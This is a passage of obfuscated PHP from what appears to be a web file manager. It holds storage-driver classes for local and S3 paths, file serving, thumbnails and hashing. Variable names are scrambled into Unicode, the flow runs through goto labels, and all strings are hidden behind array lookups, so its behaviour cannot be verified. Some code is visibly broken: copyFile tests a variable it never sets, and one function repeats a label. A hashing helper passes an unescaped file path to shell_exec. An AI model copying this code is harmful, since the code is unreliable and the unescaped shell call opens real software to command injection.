goto BLJי; BLJי: return $E; goto B; B: } public static function sign($dÖݨ = false) { $dÖݨ && (self::$sessionSign = $dÖݨ); self::init(); return self::$sessionSign; } public static function set($c, $D襇 = false) { self::init(); if (is_array($c)) { foreach ($c as $a => $E) { array_set_value(self::$data, $a, $E); } } else { array_set_value(self::$data, $c, $D襇); } CacheLock::lock(self::$sessionSign); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); CacheLock::unlock(self::$sessionSign); } public static function get($fߎ = false) { self::init(); if (!$fߎ) { return self::$data; } return array_get_value(self::$data, $fߎ); } public static function remove($f) { self::init(); unset(self::$data[$f]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ڊ][754])) { self::$handle->clearTimeout(); } } } goto C; Eķը: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $D— =& $_SERVER[ڊ]; $this->objectDriver = array($D—[57], $D—[58], $D—[59], $D—[60], $D—[61], $D—[62], $D—[63], $D—[64]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($FLJ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($FLJ, $_SERVER[ڊ][8]); } return $FLJ; } public function getPathName($F؎) { return $F؎; } public function iconvApp($F) { return $F; } public function iconvSystem($E̥) { return $E̥; } public function iconvTo($dϔ, $eʹ̉, $F姼) { goto dЏ; dЏ: $cď =& $_SERVER[ڊ]; if (!$dϔ || !function_exists($cď[65])) { return $dϔ; } static $c = array(); goto d; d: $Dձ = $eʹ̉ . $cď[66] . $F姼 . $cď[67] . $dϔ; if (isset($c[$Dձ])) { return $c[$Dձ]; } if (function_exists($cď[68])) { $eۋԎ = @mb_convert_encoding($dϔ, $F姼, $eʹ̉); } else { $eۋԎ = @iconv($eʹ̉, $F姼, $dϔ); } goto D; E: return $eۋԎ; goto f⏄; D: $eۋԎ = $eۋԎ ? $eۋԎ : $dϔ; if (strstr($eۋԎ, $cď[69])) { $eۋԎ = str_replace($cď[69], $cď[70], $eۋԎ); } $c[$eʹ̉ . $cď[66] . $F姼 . $cď[67] . $dϔ] = $eۋԎ; goto a¾; a¾: $c[$F姼 . $cď[66] . $eʹ̉ . $cď[67] . $dϔ] = $dϔ; $c[$F姼 . $cď[66] . $eʹ̉ . $cď[67] . $eۋԎ] = $dϔ; $c[$eʹ̉ . $cď[66] . $F姼 . $cď[67] . $eۋԎ] = $eۋԎ; goto E; f⏄: } public function getPathInner($Cݽ) { $bۉ˭ = IO::init($Cݽ); return $bۉ˭->path; } public function getPathOuter($C׵) { $fێ =& $_SERVER[ڊ]; $Dַؒ = strlen(trim($this->pathBase, $fێ[8])); $C׵ = substr(trim($C׵, $fێ[8]), $Dַؒ); return $this->pathDriver . $fێ[8] . ltrim($C׵, $fێ[8]); } public function isParentOf($A䪏, $C) { $fݯ =& $_SERVER[ڊ]; $A䪏 = rtrim(strtolower($A䪏), $fݯ[8]) . $fݯ[8]; $C = rtrim(strtolower($C), $fݯ[8]) . $fݯ[8]; $dʆ = strpos($C, $A䪏) === 0; return $dʆ; } public function getType() { $fۭǩ =& $_SERVER[ڊ]; $Cڲ = str_replace($fۭǩ[71], $fۭǩ[33], get_class($this)); return strtolower($Cڲ); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($e, $eԲ) { $E櫴 =& $_SERVER[ڊ]; $eթį = rtrim($e, $E櫴[8]) . $E櫴[8] . $eԲ; $Eፒ = $this->exist($eթį); return $Eፒ ? $eթį : !1; } public function renameObject($Cӂ, $fο) { goto AǕ; a̮: $Cӂ = $this->getPathOuter($Cӂ); $fο = $this->pathFather($Cӂ) . $fο; if (IO::isFile($Cӂ)) { $e = IO::copy($Cӂ, $this->pathFather($Cӂ), REPEAT_RENAME_FOLDER, $B碆ݐ); if ($e) { IO::remove($Cӂ); } } else { $e = IO::mkdir($fο); if (!$e) { return !1; } $bȦ = IO::listPath($Cӂ, !0); $F = array_merge($bȦ[$Dƺ[73]], $bȦ[$Dƺ[74]]); foreach ($F as $d؂ù) { IO::move($d؂ù[$Dƺ[75]], $fο, REPEAT_RENAME_FOLDER); } IO::remove($Cӂ); } goto a˹; a˹: return $e ? $fο : !1; goto bʡ؅; AǕ: $Dƺ =& $_SERVER[ڊ]; $B碆ݐ = $fο; Hook::trigger($Dƺ[72], $this, $Cӂ, $this, $this->pathFather($Cӂ) . $fο); goto a̮; bʡ؅: } public function tempFile($fф = '', $dćȩ = '') { goto cΰ; Fԅ: $e = $BŒ . $fф; @touch($e); if ($dćȩ) { file_put_contents($e, $dćȩ); } goto A; cΰ: if (!$fф) { $fф = rand_string(15); } $BŒ = TEMP_FILES . rand_string(15) . $_SERVER[ڊ][8]; @mkdir($BŒ, 511, !0); goto Fԅ; A: return $e; goto fꥍ; fꥍ: } public function tempFileRemve($f߷Ҹ) { @unlink($f߷Ҹ); @rmdir($this->pathFather($f߷Ҹ)); } public function mkfile($FѠ, $bø = '', $AŘ = REPEAT_RENAME) { } public function mkdir($dŸʋƼ, $aȞ = REPEAT_SKIP) { } public function copyFile($CǤ, $aٌ) { } public function moveFile($aѲ񹑟, $D䓾) { } public function remove($B«) { if ($this->isFile($B«)) { return $this->delFile($B«); } return $this->delFolder($B«); } public function rename($eŇԹ, $e) { } public function exist($aփę) { } public function findByHash($F = '', $eω = '') { return !1; } public function isFile($a) { } public function isFolder($cՑȢ) { } public function size($aƊ) { } public function info($d) { } public function infoSimple($Cΐ) { return $this->info($Cΐ); } public function infoAuth($B) { return $this->info($B); } public function infoFull($BÍ) { return $this->info($BÍ); } public function infoWithChildren($Cޯք) { $A͇ =& $_SERVER[ڊ]; $a = $this->info($Cޯք); if ($a && $a[$A͇[29]] == $A͇[76]) { $Fۥ = array($A͇[77] => 0, $A͇[78] => 0, $A͇[79] => 0); $this->infoChildren($Cޯք, $Fۥ); $a[$A͇[77]] = $Fۥ[$A͇[77]]; $a[$A͇[80]] = array($A͇[81] => $Fۥ[$A͇[78]], $A͇[82] => $Fۥ[$A͇[79]]); } return $a; } public function listPath($B, $Aϳ = false) { } public function has($C, $f􍊒 = false, $F = false) { } public function canRead($aՒ) { } public function canWrite($E) { } public function getContent($F) { } public function setContent($C, $bؼ = '') { } protected function infoChildren($B, &$Fޤ) { $bޮ랼 =& $_SERVER[ڊ]; check_abort(); $c = $this->listPath($B, !0); $c = array_merge($c[$bޮ랼[74]], $c[$bޮ랼[73]]); foreach ($c as $EӃ) { if ($EӃ[$bޮ랼[29]] == $bޮ랼[76]) { $Fޤ[$bޮ랼[79]]++; $eխ = $this->getPathInner($EӃ[$bޮ랼[75]]); $this->infoChildren($eխ, $Fޤ); } else { $Fޤ[$bޮ랼[78]]++; $Fޤ[$bޮ랼[77]] += $EӃ[$bޮ랼[77]]; } } } public function fileSubstr($aʈՙ, $F, $C) { } public function listAll($Ā) { } public function upload($E͒, $bۧܝ֥, $e◾ = false, $Bݶ = REPEAT_REPLACE) { } public function uploadFileByID($c߹, $fǎݶϔ, $C䞰ϯ) { } public function uploadFileByPath($e, $d뱬ٽ, $f݂ԃ = array()) { } public function isUploadServer() { $aܨۅ =& $_SERVER[ڊ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $aܨۅ[83]) { return !0; } return $GLOBALS[$aܨۅ[6]][$aܨۅ[84]][$aܨۅ[85]]; } public function isFileOutServer() { $F㭆 =& $_SERVER[ڊ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $F㭆[83]) { return !0; } return $GLOBALS[$F㭆[6]][$F㭆[84]][$F㭆[86]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($F) { $e檯 =& $_SERVER[ڊ]; if (!$this->isCdnHost()) { return $F; } return str_replace(trim(get_url_root($F), $e檯[8]), trim($this->cdnHost, $e檯[8]), $F); } public function uploadLink($a殍, $Cق = 0) { goto B낓ٻ; e砣: if (!in_array($E񱃎, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Eǔѭ = 1024 * 1024 * 10; goto A; B낓ٻ: $Aɥ =& $_SERVER[ڊ]; if ($this->isUploadServer()) { return; } $E񱃎 = $this->getType(); goto e砣; dܗ: if ($E׭) { $E׭[$Aɥ[89]] = $a殍; $E׭[$Aɥ[90]] = $E񱃎; } return $E׭; goto Eۼ; A: $a = $Cق <= $Eǔѭ ? $Aɥ[87] : $Aɥ[88]; $d = (!$Cق ? 1 : ceil($Cق / pow(1024, 3))) * 3600 * 4; $E׭ = $this->{$a}($a殍, $d); goto dܗ; Eۼ: } public function uploadFormData($E򰩃, $e = 3600) { } public function multiUploadFormData($Bڅ, $d = 3600) { } public function osChunkSize() { $Fͷ =& $_SERVER[ڊ]; $E = (double) $GLOBALS[$Fͷ[6]][$Fͷ[84]][$Fͷ[91]][$Fͷ[92]]; if (!$E) { $E = 1024 * 84 * 10; } return $E; } public function download($Aߔ, $cƖ) { } public function ext($F) { $e =& $_SERVER[ڊ]; if (strpos($F, $e[8]) === -1) { $Cۗմ = $F; } else { $Cۗմ = $this->pathThis($F); } $f򙔋 = $e[33]; if (strstr($Cۗմ, $e[93])) { $f򙔋 = substr($Cۗմ, strrpos($Cۗմ, $e[93]) + 1); $f򙔋 = strtolower($f򙔋); } if (strlen($f򙔋) > 3 && preg_match($e[94], $f򙔋, $D)) { $f򙔋 = $e[33]; } return $f򙔋; } public function pathThis($f儜) { $bĉ =& $_SERVER[ڊ]; $f儜 = str_replace($bĉ[95], $bĉ[8], rtrim($f儜, $bĉ[8])); $F؛Զ = strrpos($f儜, $bĉ[8]); if ($F؛Զ === !1) { return $f儜; } return substr($f儜, $F؛Զ + 1); } public function pathFather($bȂ) { $BѠ =& $_SERVER[ڊ]; $bȂ = str_replace($BѠ[95], $BѠ[8], rtrim($bȂ, $BѠ[8])); $b잏Ό = strrpos($bȂ, $BѠ[8]); if ($b잏Ό === !1) { return $BѠ[33]; } return substr($bȂ, 0, $b잏Ό + 1); } public function hashSimple($eͭ) { goto d԰; bł: $bͼ .= $this->fileSubstr($eͭ, $b - $bŧߴ, $bŧߴ); return md5($bͼ) . $b; goto Bᣢċ; b̝: $bŧߴ = 200; $e˘׬ = 50; if ($b <= $bŧߴ * $e˘׬) { return $this->hashMd5($eͭ) . $b; } goto C; d԰: $E̘ =& $_SERVER[ڊ]; if (!$eͭ) { return md5($E̘[33]); } $b = $this->size($eͭ); goto b̝; C: $E = intval($b / $e˘׬); $bͼ = $E̘[33]; for ($Bެ = 0; $Bެ < $e˘׬; $Bެ++) { $bͼ .= $this->fileSubstr($eͭ, $E * $Bެ, $bŧߴ); } goto bł; Bᣢċ: } public static $md5Cache = array(); public function hashMd5($Dۃń) { $Dۃń = $this->iconvSystem($Dۃń); if (isset(self::$md5Cache[$Dۃń])) { return self::$md5Cache[$Dۃń]; } self::$md5Cache[$Dۃń] = $this->hashMd5Shell($Dۃń); if (!self::$md5Cache[$Dۃń]) { self::$md5Cache[$Dۃń] = @md5_file($Dۃń); } return self::$md5Cache[$Dۃń]; } private function hashMd5Shell($CΥ) { goto D̴; D: $Dޟӕ = Cache::get($f[99]); if (!$Dޟӕ) { $C = BASIC_PATH . $f[100]; $C = md5_file($C); $Dޟӕ = $f[101]; foreach ($D as $eׯÐ) { $eș = shell_exec($eׯÐ . "\40\x22{$C}\x22"); if ($eș && substr(trim($eș), 0, 32) == $C) { $Dޟӕ = $eׯÐ; break; } } Cache::set($f[99], $Dޟӕ, 3600); } if ($Dޟӕ == $f[101]) { return !1; } goto cƸ; cƸ: $eș = shell_exec($Dޟӕ . "\40\x22{$CΥ}\42"); return substr($eș, 0, 32); goto dϧ; D̴: $f =& $_SERVER[ڊ]; if (!function_exists($f[96])) { return !1; } $D = array($f[97], $f[98]); goto D; dϧ: } public function link($dئ) { return $dئ; } public function fileOut($eЈ鄆, $fӜ = false, $Dڞ = false, $DОҠ = '') { goto DБIJ; CҜ: header($E̡[135] . $D); header($E̡[136]); if (!$fӜ && $E׍ == $E̡[137]) { if ($D > 1024 * 1024 * 5) { die; } $dے = $this->getContent($eЈ鄆); $dے = Html::removeXXS($dے); echo $dے; die; } goto B߉; dƻҋ: header($E̡[125]); header($E̡[126]); header($E̡[127]); goto C艵; f޷: $EŠѲ = rawurlencode($eЃ܃); $EŠѲ = $E̡[113] . $EŠѲ . $E̡[117] . $EŠѲ; if ($fӜ) { header($E̡[118]); header($E̡[119] . $EŠѲ); } else { header($E̡[120] . $EŠѲ); } goto Eނ; C艵: if (isset($_SERVER[$E̡[128]]) && strtotime($_SERVER[$E̡[128]]) == $B߱[$E̡[107]]) { header($E̡[129], !0, 304); die; } if (isset($_SERVER[$E̡[130]]) && $_SERVER[$E̡[130]] == $DОҠ) { header($E̡[131] . $DОҠ, !0, 304); die; } header($E̡[131] . $DОҠ); goto cԏ; Eނ: header($E̡[121]); header($E̡[122] . $A߽); header($E̡[123] . gmdate($E̡[106], time() + 3600 * 24 * 30) . $E̡[124]); goto dƻҋ; AÄऋ: $Aج = 0; if ($F֬) { $Aج = intval(1000 * 1000 * ($eֳ / $F֬)); } while ($Eإ҄ <= $Cѽ) { $D = timeFloat(); check_abort(); $a = $Cѽ - $Eإ҄ + 1; if ($a <= $eֳ) { $eֳ = $a; } echo $this->fileSubstr($eЈ鄆, $Eإ҄, $eֳ); $Eإ҄ += $eֳ; if ($eֳ == $a) { $Eإ҄ = $Cѽ + 1; } if ($Aج) { $B = intval(1000 * 1000 * (timeFloat() - $D)); $C = $Aج - $B; if ($C > 5) { usleep($C); } } } goto eć䟏; f窒޴Ù: header($E̡[150] . ($Cѽ - $Eإ҄ + 1)); if ($_SERVER[$E̡[151]] == $E̡[152]) { return; } $eֳ = 1024 * 100; goto AÄऋ; B߉: $e… = strtolower($_SERVER[$E̡[138]]); if ($D䝶 && $e… && $a) { if (strstr($e…, $E̡[139])) { header($E̡[140] . $eЈ鄆); } else { if (strstr($e…, $E̡[141])) { header($E̡[142] . $eЈ鄆); } else { if (strstr($e…, $E̡[143])) { header($E̡[144] . $eЈ鄆); } } } if ($F֬) { header($E̡[145] . $F֬); } return; } if (isset($_SERVER[$E̡[146]])) { if (preg_match($E̡[147], $_SERVER[$E̡[146]], $A䗋)) { $Eإ҄ = intval($A䗋[1]); if (!empty($A䗋[2])) { $Cѽ = intval($A䗋[2]); } } header($E̡[148]); header("\103\x6f\x6e\164\145\156\x74\x2d\122\141\156\147\x65\x3a\x20\142\x79\164\x65\x73\x20{$Eإ҄}\55{$Cѽ}\x2f" . $D); } else { header($E̡[149]); } goto f窒޴Ù; A: $A߽ = get_file_mime($E׍); if (strstr($A߽, $E̡[114])) { $A߽ = $A߽ . $E̡[115]; } if ($fӜ === !1 && !mime_support($A߽)) { $fӜ = !0; $A߽ = $E̡[116]; } goto f޷; e‡: $Eإ҄ = 0; $Cѽ = $D - 1; $E׍ = $this->ext($eЃ܃); goto CЩ; B޶: $D = $B߱[$E̡[77]]; $F = gmdate($E̡[106], $B߱[$E̡[107]]); $eЃ܃ = $Dڞ ? $Dڞ : $this->iconvApp($B߱[$E̡[28]]); goto e‡; E嚋: $D䝶 = $this->getType() == $E̡[103]; $a = $GLOBALS[$E̡[6]][$E̡[84]][$E̡[91]][$E̡[104]]; $F֬ = (double) $GLOBALS[$E̡[6]][$E̡[84]][$E̡[91]][$E̡[105]] * 1024 * 1024; goto eҾ; eҾ: @ob_end_clean(); set_timeout(); $B߱ = $this->infoFull($eЈ鄆); goto B޶; DБIJ: $E̡ =& $_SERVER[ڊ]; $this->cacheMethod(null, null); if (!$eЈ鄆 || !$this->exist($eЈ鄆)) { show_json(LNG($E̡[102]), !1, $Dڞ); } goto E嚋; cԏ: header($E̡[132] . $F . $E̡[124]); header($E̡[133] . $eЃ܃); header($E̡[134]); goto CҜ; CЩ: if (in_array($E׍, array($E̡[108], $E̡[109], $E̡[110], $E̡[111]))) { $E׍ = $E̡[112]; } if (!$DОҠ) { $DОҠ = md5($F . $this->hashSimple($eЈ鄆)); } $DОҠ = $E̡[113] . $DОҠ . $E̡[113]; goto A; eć䟏: } public function fileOutServer($EɃ, $Ḙұ = false, $Eބ = false, $Bҿ = '') { $this->fileOut($EɃ, $Ḙұ, $Eބ, $Bҿ); } public function fileOutLink($FӍ) { header($_SERVER[ڊ][153] . $FӍ); die; } public function cacheMethod($FĒ, $dĤ) { goto d; C: if (!is_null($dӐ)) { return $dӐ; } $dӐ = $this->{$FĒ}($dĤ); $B𳸐[$a] = $dӐ; goto E; F: if (is_null($FĒ)) { $B𳸐 = array(); return; } if (is_null($dĤ)) { unset($B𳸐[$a]); return; } $dӐ = isset($B𳸐[$a]) ? $B𳸐[$a] : null; goto C; d: $F =& $_SERVER[ڊ]; static $B𳸐 = array(); $a = $F[154] . $FĒ . $F[155] . rtrim($dĤ, $F[8]); goto F; E: return $dӐ; goto b; b: } public function fileOutImage($FǮЌ雽, $Cꎪ = 250) { goto a; a: $DЍˎ =& $_SERVER[ڊ]; if (substr($FǮЌ雽, 0, 4) == $DЍˎ[143]) { $this->fileOutLink($FǮЌ雽); } $eʗ􄏄 = $this->info($FǮЌ雽); goto C; dׯ؎: if (!($CХ = IO::move($b٨̈, $b嵙ı))) { return IO::fileOut($b٨̈); } del_file($b٨̈); IO::fileOut($CХ); goto E睗; CƏ: $b٨̈ = DATA_THUMB . $B; if (!@file_exists($b٨̈)) { $A̎ = TEMP_FILES; if (!is_dir($A̎)) { mk_dir($A̎); } $Dѓ = $A̎ . $f˗ . $DЍˎ[93] . $eʗ􄏄[$DЍˎ[157]]; if (!@file_exists($Dѓ)) { $Dѓ = $this->download($FǮЌ雽, $Dѓ); } $E䆔 = new ImageThumb($Dѓ, $DЍˎ[164]); $E䆔->prorate($b٨̈, $Cꎪ, $Cꎪ * 10); } if (!file_exists($b٨̈) || filesize($b٨̈) < 100) { return @file_exists($Dѓ) ? IO::fileOut($Dѓ) : $this->fileOut($FǮЌ雽); } goto dׯ؎; C: if ($eʗ􄏄[$DЍˎ[77]] <= 1024 * 50 || !function_exists($DЍˎ[156]) || $eʗ􄏄[$DЍˎ[157]] == $DЍˎ[158]) { return $this->fileOut($FǮЌ雽); } if (isset($eʗ􄏄[$DЍˎ[159]][$DЍˎ[160]])) { $f˗ = $eʗ􄏄[$DЍˎ[159]][$DЍˎ[160]]; } else { if (isset($eʗ􄏄[$DЍˎ[159]][$DЍˎ[161]])) { $f˗ = $eʗ􄏄[$DЍˎ[159]][$DЍˎ[161]]; } else { $f˗ = md5("{$eʗ􄏄[$DЍˎ[28]]}\137{$eʗ􄏄[$DЍˎ[75]]}\x5f{$eʗ􄏄[$DЍˎ[77]]}"); } } $B = "{$f˗}\x5f{$Cꎪ}\56\x70\x6e\x67"; goto a͙ߥ; a͙ߥ: if (!($e奎 = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $DЍˎ[162]))) { $b嵙ı = IO::mkdir(IO_PATH_SYSTEM_TEMP . $DЍˎ[163]); } else { $b嵙ı = KodIO::make($e奎); } if ($e奎 = IO::fileNameExist($b嵙ı, $B)) { $b٨̈ = KodIO::make($e奎); return IO::fileOut($b٨̈); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } goto CƏ; E睗: } public function fileOutImageServer($bƟ, $C؜ټ = 250) { $this->fileOutImage($bƟ, $C؜ټ); } public function fileNameAuto($dл, $cԻ, $bЛ = REPEAT_RENAME, $E = false) { goto B; B: $Dդ =& $_SERVER[ڊ]; $Cꐔ = $dл === $Dդ[33] ? $cԻ : rtrim($dл, $Dդ[8]) . $Dդ[8] . $cԻ; if ($bЛ == REPEAT_REPLACE || !$this->exist($Cꐔ) || $E && $bЛ != REPEAT_RENAME_FOLDER) { return $cԻ; } goto Aď; E: $E = 1; $d = substr($cԻ, 0, strlen($cԻ) - strlen($aڇ)); $c = $d . "\x28{$E}\51{$aڇ}"; goto D̛; D̛: while ($this->exist(rtrim($dл, $Dդ[8]) . $Dդ[8] . $c)) { $c = $d . "\x28{$E}\51{$aڇ}"; $E++; } return $c; goto F; Aď: if ($bЛ == REPEAT_SKIP) { return !1; } $aڇ = $Dդ[93] . get_path_ext($cԻ); $aڇ = $aڇ == $Dդ[93] || $E ? $Dդ[33] : $aڇ; goto E; F: } public function listAllFiles($Dй, $cꥷ, $cԃʕ = array()) { goto F֚; cȳ: foreach (array_unique($DŞܛ) as $a܆Æ) { $Fб = array($Ë[75] => $this->getPathOuter($Ë[8] . $Dй . $Ë[8] . $a܆Æ), $Ë[76] => 1, $Ë[77] => 0); if (substr($a܆Æ, -1) != $Ë[8]) { $Fб[$Ë[76]] = 0; $Dݝ = $this->getPath($Dй . $Ë[8] . $a܆Æ); $Fб[$Ë[77]] = isset($cԃʕ[$Dݝ]) ? $cԃʕ[$Dݝ] : $this->size($Dݝ); } $eʯ[] = $Fб; } return $eʯ; goto fƈ; aˊ󊜿: $Dй = trim($Dй, $Ë[8]); foreach ($cꥷ as $a܆Æ) { $bЧ = ltrim(substr($a܆Æ, strlen($Dй)), $Ë[8]); $DŞܛ = array_merge($DŞܛ, $this->slicePath($bЧ)); } $eʯ = array(); goto cȳ; F֚: $Ë =& $_SERVER[ڊ]; if (empty($cꥷ)) { return array(); } $DŞܛ = array(); goto aˊ󊜿; fƈ: } public function slicePath($Bӵɉ) { $e =& $_SERVER[ڊ]; $a„т = explode($e[8], trim($Bӵɉ, $e[8])); $b羍 = 0; do { ++$b羍; $E[] = implode($e[8], array_slice($a„т, 0, $b羍)) . $e[8]; } while ($b羍 < count($a„т)); $E[count($a„т) - 1] = $Bӵɉ; return $E; } public function getHost() { $fӏ =& $_SERVER[ڊ]; $E = parse_url(trim($this->domain, $fӏ[8])); $CӒ = isset($E[$fӏ[165]]) ? $E[$fӏ[165]] : http_type(); $c = isset($E[$fӏ[166]]) ? $E[$fӏ[166]] : $E[$fӏ[75]]; if (isset($E[$fӏ[167]])) { $c .= $fӏ[4] . $E[$fӏ[167]]; } return $CӒ . $fӏ[168] . $c; } public function pathEncode($Bˤ) { $a =& $_SERVER[ڊ]; return str_replace($a[169], $a[8], rawurlencode($Bˤ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($b͎) { set_timeout(); require_once SDK_DIR . $_SERVER[ڊ][170]; parent::__construct(); $this->_init($b͎); } public function _init($F󇨩) { foreach ($F󇨩 as $C => $DӪ) { if (isset($this->{$C})) { $this->{$C} = $DӪ; } } $this->endpoint = $F󇨩[$_SERVER[ڊ][171]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); $this->client->setChunkSize($this->osChunkSize()); } public function signatureVersion($B˟ = "\166\64") { $this->signVer = $B˟; $this->client->setSignatureVersion($B˟); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { goto Fڒ; Fڒ: $A̘ =& $_SERVER[ڊ]; $b = $this->getBucketCors(); if (!$b || !is_array($b)) { return !1; } goto E䧓; a쉉: $CЌǥ = array($A̘[177], $A̘[178], $A̘[179], $A̘[180], $A̘[181]); $Cу = array_diff($CЌǥ, $b󰮴ܘ); return empty($Cу); goto fЎ; E䧓: if ($b[$A̘[172]] != $A̘[173] || $b[$A̘[174]] != $A̘[173]) { return !1; } $b󰮴ܘ = array_map($A̘[175], $b[$A̘[176]]); if (!is_array($b󰮴ܘ)) { $b󰮴ܘ = array(); } goto a쉉; fЎ: } public function mkfile($aڕ, $eޝ捐 = '', $C삝݅ = REPEAT_RENAME) { $a¨ه = $this->setContent($aڕ, $eޝ捐); if ($a¨ه !== !1) { return $this->getPathOuter($aڕ); } return !1; } public function mkdir($d, $Eǖڃ = REPEAT_SKIP) { if (empty($d)) { return !1; } if ($this->_isFolder($d)) { return $this->getPathOuter($d); } $a܄ = $this->setContent($d, $_SERVER[ڊ][33], !0); if ($a܄ !== !1) { return $this->getPathOuter($d); } return !1; } public function copyFile($fż, $D׿, $A = array()) { $c̼ =& $_SERVER[ڊ]; $a = $this->objectMeta($fż); if (!$aÂ) { return !1; } if ($aÂ[$c̼[77]] <= 1024 * 1024 * 200) { $Fཾ = $this->client->copyObject($this->bucket, $fż, $this->bucket, $D׿, $c̼[182], $A); } else { $Fཾ = $this->client->multiCopyObject($this->bucket, $fż, $this->bucket, $D׿, $A); } $Fཾ = $Fཾ ? $this->getPathOuter($D׿) : !1; return $Fཾ; } public function moveFile($a͘, $b) { if ($this->copyFile($a͘, $b)) { $this->delFile($a͘); return $this->getPathOuter($b); } return !1; } public function delFile($F) { return $this->client->deleteObject($this->bucket, $F); } public function delFolder($aڼ߰) { goto d; c: $cܜƶ = $C丅 = 0; $bܝ = array_chunk(array_keys($Cؤ), 1000); foreach ($bܝ as $f׃) { $cܜƶ++; $C丅 += (int) $this->client->deleteObjects($this->bucket, $f׃); } goto CХ; d: $D =& $_SERVER[ڊ]; $Cؤ = $this->listObjs($aڼ߰); if (!$Cؤ) { $aڼ߰ = trim($aڼ߰, $D[8]); if (!empty($aڼ߰)) { $aڼ߰ .= $D[8]; } return $this->delFile($aڼ߰); } goto c; CХ: return $cܜƶ === $C丅 ? !0 : !1; goto C; C: } public function rename($b, $f΅) { return $this->renameObject($b, $f΅); } public function listPath($C͂, $FȏЯ = false) { $EŠ =& $_SERVER[ڊ]; $aŒ甃 = $this->listObjs($C͂, null, null, $EŠ[8]); $Bʷ = array($EŠ[74] => array(), $EŠ[73] => array()); foreach ($aŒ甃 as $aۓ => $E) { if ($aۓ == $EŠ[8]) { continue; } if (isset($E[$EŠ[183]])) { $Bʷ[$EŠ[74]][] = $this->folderInfo($E[$EŠ[183]], $FȏЯ); } else { if (substr($E[$EŠ[28]], -1) == $EŠ[8]) { continue; } $Bʷ[$EŠ[73]][] = $this->fileInfo($E[$EŠ[28]], $FȏЯ, $E); } } return $Bʷ; } private function fileInfo($a֊, $D؋ = false, $D̐ = array()) { goto b; cÝ: if (empty($D̐)) { $D̐ = $this->objectMeta($a֊); if (!$D̐) { return $cڋϱ; } } if (isset($D̐[$fٖ[187]])) { $cڋϱ[$fٖ[107]] = $D̐[$fٖ[187]]; } if (isset($D̐[$fٖ[77]])) { $cڋϱ[$fٖ[77]] = $D̐[$fٖ[77]]; } goto A; A: return $cڋϱ; goto b; b: $fٖ =& $_SERVER[ڊ]; if ($D؋) { return array($fٖ[28] => $this->pathThis($a֊), $fٖ[75] => $this->getPathOuter($a֊), $fٖ[29] => $fٖ[164], $fٖ[157] => $this->ext($a֊), $fٖ[77] => isset($D̐[$fٖ[77]]) ? $D̐[$fٖ[77]] : 0, $fٖ[184] => 0, $fٖ[107] => 0, $fٖ[185] => !0, $fٖ[186] => !0); } $cڋϱ = array($fٖ[28] => $this->pathThis($a֊), $fٖ[75] => $this->getPathOuter($a֊), $fٖ[29] => $fٖ[164], $fٖ[184] => 0, $fٖ[107] => 0, $fٖ[77] => 0, $fٖ[157] => $this->ext($a֊), $fٖ[185] => !0, $fٖ[186] => !0); goto cÝ; b: } private function folderInfo($F, $c = false) { goto d; d: $AԎ傎 =& $_SERVER[ڊ]; if ($c) { return array($AԎ傎[28] => $this->pathThis($F), $AԎ傎[75] => $this->getPathOuter($AԎ傎[8] . $F), $AԎ傎[29] => $AԎ傎[76], $AԎ傎[185] => !0, $AԎ傎[186] => !0); } $F = array($AԎ傎[28] => $this->pathThis($F), $AԎ傎[75] => $this->getPathOuter($AԎ傎[8] . $F), $AԎ傎[29] => $AԎ傎[76], $AԎ傎[184] => 0, $AԎ傎[107] => 0, $AԎ傎[185] => !0, $AԎ傎[186] => !0); goto cۂï; cۂï: if ($F == $AԎ傎[33]) { return $F; } $F = trim($F, $AԎ傎[8]) . $AԎ傎[8]; $FȔŐ = $this->objectMeta($F); goto EǑ; EǑ: if (isset($FȔŐ[$AԎ傎[187]])) { $F[$AԎ傎[184]] = $FȔŐ[$AԎ傎[187]]; } return $F; goto Eܷ; Eܷ: } public function listObjs($Fґ, $c = null, $B” = null, $c = null) { $Dٴ =& $_SERVER[ڊ]; $Fґ = trim($Fґ, $Dٴ[8]); $A = empty($Fґ) ? $Dٴ[33] : $Fґ . $Dٴ[8]; return $this->client->getBucket($this->bucket, $A, $c, $B”, $c, !0); } public function has($Aڻ, $E = false, $a· = true) { goto e𽫼; Aܐ: if ($E) { return array($Aɿ[188] => $FǺ, $Aɿ[189] => $Dڕ螪); } return !1; goto d; e𽫼: $Aɿ =& $_SERVER[ڊ]; $FǺ = 0; $Dڕ螪 = 0; goto AǕʄ; AǕʄ: $F = $this->listObjs($Aڻ, null, null, $Aɿ[8]); $F = is_array($F) ? $F : array(); foreach ($F as $b) { if (isset($b[$Aɿ[28]]) && substr($b[$Aɿ[28]], -1) != $Aɿ[8]) { if (!$E && $a·) { return !0; } $FǺ++; } else { if (isset($b[$Aɿ[183]])) { if (!$E && !$a·) { return !1; } $Dڕ螪++; } } } goto Aܐ; d: } public function listAll($f) { $cٹ =& $_SERVER[ڊ]; $A‡ = $this->listObjs($f); $dϽDŽ = $Dʏ = array(); foreach ($A‡ as $c => $EԹŢ) { $dϽDŽ[] = $EԹŢ[$cٹ[28]]; 